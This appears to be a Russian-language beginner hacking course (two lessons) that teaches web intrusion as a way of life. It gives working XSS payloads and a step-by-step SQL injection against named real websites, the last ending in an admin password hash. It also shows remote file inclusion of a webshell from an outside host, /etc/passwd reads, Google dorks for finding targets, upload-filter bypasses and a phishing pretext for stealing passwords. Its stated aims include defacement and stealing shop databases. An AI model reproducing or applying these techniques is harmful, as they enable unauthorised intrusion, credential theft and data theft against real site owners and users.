Здесь и сейчас, с этого момента, начинается твой путь в хакеры.
Идеология хакинга.
Хакинг – это почти религия. Если ты окунулся в этот мир, то не сможешь уйти из него никогда. Хакинг это не хобби,
это даже не работа (хотя многие зарабатывают на этом), хакинг – это жизнь!
У многих слово "хакер" ассоциируется с эдаким ботаником, день и ночь взламывающим банки и переводящим себе кучу денежек,
неустанно беспрерывно сносящим сотни серверов одним ударом без причины. Хочу тебе сказать, что эта мысль в корне
неправильная. В этом уроке мы пока еще не будем вскрывать банки (ну разве что банку пива:)), мы поговорим о том, кто такие
хакеры, что они делают и какими мотивами руководствуются.
Согласно определению, хакер - человек, увлекающийся компьютерами, и испытывающий желание знать о них всё. Запомни, что просто
так ничего не происходит, и У любого взлома есть цель, мотив, взломщик и ОТВЕТСТВЕННОСТЬ. При взломе хакером движет
элементарное любопытство, желание проникнуть внутрь, найти уязвимость. Если ты со мной не согласен,
тебе просто нет смысла читать дальше.
Пожалуй, сразу стоит определиться с терминами.
Ламер – это не тот кто не знает. Это человек, которые не стремится узнать. Причем, он как правило считает себя опытным хакером. Это классический ламер.
Новичок – почему то всегда путают ламера с новичком. Новичок еще мало знает, но он стремится узнать.
Хакер – это прежде всего создатель, а не взломщик. СМИ запудрила людям мозги, спутав хакеров и крекеров. Крэкер это как раз взломщик.
Правда сейчас у этого термина немного другое значение. Сейчас крекером является человек, которые взламывает программы и игнорирует любые копирайты.
Вообще хакер- это вселенский энтузиаст. Давайте будем энтузиастами!
Для начала ты должен уметь использовать поисковики. В Инете
говорят, google - твой лучший друг. Если у тебя есть какой-либо вопрос, не спеши с ним на форум, поищи уже готовые ответы,
ведь наверняка ты не первый, кто его задает. Если ты научишься владеть поисковиком, то дальнейшее изучение не составит проблем. На 90% твоих вопросов ответы есть в Интернете.
Конечно, на форумах на адекватный вопрос всегда дадут ответ. Ты всегда можешь попросить помощи у более опытных людей.
Но рано или поздно придет время самостоятельно принимать решения, находить выходы из ситуаций. Именно этому
я тебя учу - ты должен обладать творческим мышлением, уметь адаптироваться к новым условиям.
У всех новичков один вопрос – «С чего начать?»
Я бы советовал начать с изучение английского языка, т.к. базовый язык для машин, как раз английский. Если у тебя с этим туго советую немедленно скачать учебник, либо записаться на курсы.
Многие говорят, что нужно научиться быстро набирать текст. Это так. Но не стоит скачивать какие то специальные программы. Со временем ты сам не заметишь, как будешь вслепую набирать текст.
Ответственность.
Что же за ответственность? Думаю догадаться несложно.
Существуют статьи УК, в которых описаны наказания за
компьютерные преступления. Приведу некоторые:
Статья 159. Мошенничество
Статья 165. Причинение имущественного ущерба
путем обмана или злоупотребления доверием
Статья 183. Незаконное получение и
разглашение сведений, составляющих
коммерческую или банковскую тайну
Статья 187. Изготовление или сбыт поддельных
кредитных либо расчетных карт и иных
платежных документов
Статья 272. Неправомерный доступ к
компьютерной информации
Статья 273. Создание, использование и
распространение вредоносных программ для
ЭВМ
Статьи КоАП РСФСР
Статья 137. Изготовление и использование
радиопередающих устройств без разрешения
Статья 138. Нарушение правил приобретения,
установки, строительства и эксплуатации
радиоэлектронных средств
Статья 139. Нарушение правил охраны линий и
сооружений связи
Статьи УК РФ
Статья 137. Нарушение неприкосновенности
частной жизни
Статья 138. Нарушение тайны переписки,
телефонных переговоров, почтовых,
телеграфных или иных сообщений
Статья 183. Незаконное получение и
разглашение сведений, составляющих
коммерческую или банковскую тайну
Статья 272. Неправомерный доступ к
компьютерной информации
Статья 273. Создание, использование и
распространение вредоносных программ для ЭВМ.
Предположим ты взломал сервер. Но так как ты новичок забыл затереть логи. И твой ip(айпи) адрес остался на сервере.
Теперь если администратор обнаружит вторжение, он может смело может пожаловаться твоему провайдеру.
Провайдер проверит, кому принадлежал это адрес в указанное время. И твой телефон и домашний адрес у них в руках.
Далее - если будет написано заявление в милицию, тебя ждет одна из выше перечисленных статей.
Но заявления может и не быть. Провайдер просто отключить тебя от Интернета. Это в лучшем случае.
Вообще могу сказать, что лучше всего хранить конфиденциальные данные
на CD в запароленном архиве с очень сложным паролем и измененным расширение, либо на флеш носителе, как первый, так и второй уничтожить не составит труда.
Путь хакера.
Здесь и сейчас, с этого момента, начинается твой путь в хакеры. Где-то в Интернете я видел интересное высказывание: лучший админ - это хакер, и наоборот - лучший хакер - злой админ.
Отчасти это правда. Подобно тому, как хороший боец должен хорошо владеть оружием, хакер должен хорошо владеть компьютером. Они знают по нескольку языков программирования, разбираются в операционных
системах, знают, как устроен компьютер и могут собрать и разобрать его за 45 секунд). Чтобы успешно находить уязвимости в
скриптах, ты должен знать, по какому принципу они работают, а чтобы это понять, надо знать язык, на котором они написаны.
Не обязательно знать прям всё, но что-либо альтернативное из каждой группы языков ты должен выбрать. Вот основные языки,
которыми пользуются хакеры. Из каждой группы выбери один-два языка:
•Ассемблер
•Delphi | С/C++ | Visual Basic
•HTML, XML, WML
•PHP | ASP | JSP | Perl
•SQL и кoмпания
Не обязательно учить всё сразу, чтоб не говорил, что я тебя запугиваю. Жирным выделены обязательные языки. По возможности
найди как можно больше учебников для дальнейшего изучения.
Ассемблер используется для взлома shareware-программ, для создания кряков и кейгенов.
Дальше. HTML, PHP, ASP, Perl, JavaScript, VBS, JSP, и многие другие объединяют в одну группу - это
"веб-языки". При помощи них создаются веб-сайты, например HackZona написана на PHP.
HTML - это не язык программирования. Его название переводится как "HyperText Markup Language" - "язык гипертекстовой разметки". Т.е. при помощи него не программируют,
а только "размечают" документ, показывая компьютеру, где какие данные должны быть. Как говорилось в предыдущем уроке, если
при написании сайта ограничиваться только этим языком, то мы просто задаём: здесь рисунок, а тут ссылка, а тут такой-то текст.
Таким образом, при каждой загрузке страницы мы увидим одно и то же: рисунок, ссылка, текст. А вот если прикрутить к документу
скрипт, написанный на PHP, мы можем указать, что при загрузке рисунка можно выбрать из базы данных, например, ту картинку, что
нравится пользователю.
Таким образом, они друг друга дополняют. Ты должен чётко ощущать разницу между веб-дизайном и веб-программированием.
XML - это тоже язык гипертекстовой разметки, дающий большую гибкость, чем HTML, однако, его тебе пока учить не стоит. WML - разномидность XML, используется для создания wap-сайтов.
PHP и Perl - наиболее часто используемые языки веб-программирования.
CSS - каскадные таблицы стилей. Это надстройка HTML, используется для визуального украшения документа - неподчёркнутые
ссылки, цвет полосы прокрутки, рамки, анимация, и многое-многое другое. Оригинальная версия этой статьи написана с
использованием css. Украшены ссылки, элементы списков, рамки для кода и правил, и др. Если ты читаешь статью с HackZona.ru,
то перед тобой не оригинальная статья, хотя это никак не отражается на сути урока.
Delphi, С/C++/C#, Java, Visual Basic, QBasic, Dark Basic, Pascal, Fortran, etc. - это "прикладные" языки. Приложения, созданные
в этих средах разработки, носят расширение *.exe . {+ хотя файлы php - тоже приложения +}
SQL - язык баз данных. Ты, наверное, слышал термин SQL injection? Мы к нему вернёмся через несколько уроков. Это уязвимость,
позволяющая хакеру вытаскивать данные из базы, передавая их вместе с PHP-запросом. И для этого нужно изучить SQL.
Ты сам понимаешь, что учить тебя этим языкам я не буду, я буду учить тебя их использовать. То, что тебя интересует, найдёшь сам.
Теперь поговорим немного об ОС (операционная система).
Сейчас ты наверняка сидишь под Windows.
Кроме windows существуют системы семейства unix, их еще называет *nix (никсы).
Юникс систем очень много приведу несколько:
Linux, BSD, Solaris.
Пока об этом стоит только читать, но в будущем советую поставить какой нибудь дистрибутив Linux, так как эта система как никакая другая подходит для взлома.
Существуют разные подвиды хакеров, занимающиеся разными видами деятельности:
•Хакинг
•Крэкинг
•Фрикинг
•Социнженеринг/фишинг
•Кардинг
•Кодинг
Каждый занимается чем то своим.
Но, например веб хакинг, социнженерию и кодинг можно объединить. Так как в деле одно может дополнять другое. Давайте разберемся со всем этим поподробнее:
Хакинг – этим собственно и занимаются хакеры. В этот раздел можно отнести взлом сайтов серверов поиск уязвимостей в скриптах & прикладных программах,
написание эксплоитов (или другое название сплоиты)
Крэкеры (это не печенье;)) занимаются исследованием начинки программного обеспечения, в частности получение алгоритма
генерации серийного номера в платных программах, исп. для создания кейгенераторов. Для этого надо знать ассемблер, чтобы понимать, как устроена программа.
Фрикеров часто связывают с электроникой. Фрикер - любитель халявы, который привык не платить за услуги, связанные с электроникой. К этому относят взлом таксофонов, счетчиков, теликов, и т.д. и т.п.
Естественно, чтобы этим заниматься, нужно иметь глубокие познания в электронике. Мой папа по образованию - инженер-электронищик. Я 16 лет жил в одной квартире с
величайшим фрикером, не зная этого.
Социальная инженерия - это единственная наука из всех названных, направленная не на взлом компьютера, а на взлом человека.
Сейчас в Сети очень много ламмеров, и элементарно выманить их пароли оказывается достаточно просто. Например, выдать себя за
админа почтового сервиса, или тех. консультанта организации, и сказать, что мол поступила жалоба на спам с Вашего ящика, если
не хотите его удаления, отошлите такое-то письмо на почтовый робот такой-то, укажите свой логин, пароль, и этот код доступа:
46655529 (цифры наугад), и он поверит. Социнженеринг(далее СИ) применяется там, где единственное уязвимое место в системе -
пользователь. Пример: зачем ломать mail.ru если можно обмануть юзера?
Кардинг - манипуляции с кредитками, мардинг - маниакальное уничтожение взломанных систем. На этих пунктах мы останавливаться
не будем по понятным причинам.
Конечно, кое-кто раскритикует такое разделение, но новички должны знать эти понятия. Не бывает так, что хакер опытен только
в одном деле и безразличен к другим направлениям. Это деление чисто условное.
Кодинг - программирование с точки зрения хакерства.
Всё, ты уже стал на путь хакерства. Вводные уроки закончились, в следующий раз мы поговорим о более серьезных вещах.
Я начну рассказывать тебе о том, как устроен Интернет, какая в нем адресация, что такое IP,порты,proxy и т.д.
Приложение
Советую почитать книгу "HTML.Первые шаги". Для ознакомления с HTML это просто НАХОДКА. Учебник написан понятным языком, с
примерами кода, иллюстрациями. Респект автору.
Для изучение PHP подойдет книга PHP в подлиннике.
По линуксу(linux) подойдет книга «Введение в Linux»
Все вышеприведенное можно найти в сети с помощью поисковика google.
Как раз будет полезно потренироваться искать информацию.
Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны. Найти их значение вы сможете в конце статьи.
Кто и зачем?
Вообще под понятием взлома я понимаю несанкционированный доступ к чему-либо.
Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта, либо просто изменить главную страницу.
Все зависит от такого для чего производится взлом.
Рассмотрим основные мотивы:
Изменения главной странички ради удовольствия && мести. Это называется «дефейс» сайта
Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база
Взлом производиться ради повышения прав на сервере.
Теперь поговорим о таком понятии как скрипт кидди.
Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании.
Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее.
Так как же они взламывают? Они попросту используют чужие наработки.
Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее.
Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты.
Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0.
Далее он идет в поисковик и делает следущюий запрос:
site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke
Далее он просто использует эксплоит. Это кстати называется гугл хакинг.
Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом.
Какие бывают уязвимости? Три самых тривиальных уязвимостей это xss sql injection php include
В каждом уроке я буду рассказывать понемногу про каждую из них.
Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости.
XSS.
Цель у этой уязвимости одна - украсть Cookes файлы.
Итак, сначала из за чего появляются Xss
Происходит все это из-за отсутствия фильтрации входящих данных
Разберем сразу на примере:
http://www.atlant.ws Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег
И мы увидим линию (в HTML этот тег означает провести линию)
В адресной строке мы видим:
http://www.atlant.ws/?set=search&ww … amp;query=
Значит данные передаются GET запросом.
Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий.
http://www.atlant.ws/?set=search&ww … amp;query=[script]alert('xss')[/script]
Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение.
Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q)
Кроме пассивных xss существует активные.
Опять же пример:
http://www.addtop.ru/kom.php?id=32
Вводим в комментарии скрипт
[script]alert('xss')[/script]
И отправляем его.
Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его.
Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти.
А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код.
Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss.
Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем.
В конце статьи я приведу несколько полезный ссылок на эту тему.
Введение в PHP include.
Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл.
Разберем сначала, что такое веб шелл.
Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе.
В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл.
Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость
Видим на сайте такой url:
wwwsite.ru?page=home.html
Это значит, что на страничку подгружается файл home.html
А что если попробовать подгузить свой файл? Например, так:
wwwsite.ru?page=http:/hacker.ru/webshell.php
Так мы пробуем загрузить веб шелл на сайт.
Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан.
Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера.
Кроме удаленных, инклуды бывают локальные.
В этом случае мы сможем только читать файлы на сервере.
Например, сейчас мы попробуем прочитать файл с именами пользователей системы:
wwwsite.ru?page=/etc/passwd
Вот, опять же попробуй поискать php include. Советую воспользоваться google:
Inurl:page=
Такой запрос покажет нам сайты, в урле которых присутствует строка "page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим
Кстати если найдешь php инклуд, то можно получить xss вот так:
wwwsite.ru?page=[script]alert(/xss/)[/script]
Это работает во многих случаях.
В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов.
Введение в SQL Injection
Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта.
Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы
Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например:
http://www.descom.ch/main.php?id=18646644
Что бы проверить параметр на sql injection обычно подставляют кавычку
http://www.descom.ch/main.php?id=18646644' либо другие левые символы
Видим ошибку. Понимаем что это mysql.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19
Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by.
http://www.descom.ch/main.php?id=186466 … er+by+10/*
Вывод то же самый, значит полей меньше
http://www.descom.ch/main.php?id=18646644+order+by+7/*
Да. Вывод изменился. Значит полей 7.
Теперь нужно получить читабельные поля. http://www.descom.ch/main.php?id=186466 … ,4,5,6,7/*
Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select
У нас есть колонки. Теперь нужно получить информация о базе.
http://www.descom.ch/main.php?id=186466 … ,3,version(),5,6,7/*
Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу.
Делается это так:
http://www.descom.ch/main.php?id=186466 … ,3,version(),5,6,7/+from+таблица/*
таблицу нам нужно подобрать самим. Самые распространенная это user или users. Список часто используемых таблиц можно найти по этой
ссылке
В нашем случае мне удалось узнать, что имя таблицы user.
Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль.
Попробуем:
http://www.descom.ch/main.php?id=186466 … rom+user/*
И у нас на экране логин и хеш пароля администратора.
Вот таким не хитрым образом удалось поломать базу.
Кстати здесь тоже имеет место xss:
http://www.descom.ch/main.php?id=186466 … ect+1,2,3,[script]alert(/xss/)[/script],5,6,7/*
Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках
я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql
Кстати набор инъекция и инклудов для тренировки ты всегда сможешь найти на форуме http://vzlom.ixbb.ru:
Еще парочка способов загрузить веб шелл.
Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ
На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение.
Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку. Это можно обойти таким способом:
Поменять разрешение на такое:
webshell.php.jpg.
и возможно нам удастся загрузить шелл.
Но бывает, что сайт проверяет не только имя файла, но и его содержимое. Т.е он смотрит картинка это или текст
Для этого можно поступить вот так:
Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт.
Термины, используемые в статье.
Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи:
Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например "Hacked by вася"
CMS или еще говорят движок-двиг - система управления сайтом.
Эксплоит - сплоит -exploit-xploit - программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования
Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для:
аутентификации пользователя;
хранения персональных предпочтений и настроек пользователя;
отслеживания состояния сессии доступа пользователя;
ведения статистики о пользователях.
Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ.
В следующей статье я как раз расскажу про воровство Cookes с помощью xss
bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении.
Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте.
Послесловие
Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке. И в конце мы поговорим об эксплоитах.
Для самообразования можно почитать вот это:
xss
sql injection
php include
А также
теоретические основы хакинга
Также очень советую почаще посещать багтрак и разбирать уязвимости которые там описываются. На этом пока все. Удачи!
ps все уголковые теги заменены на [ и ]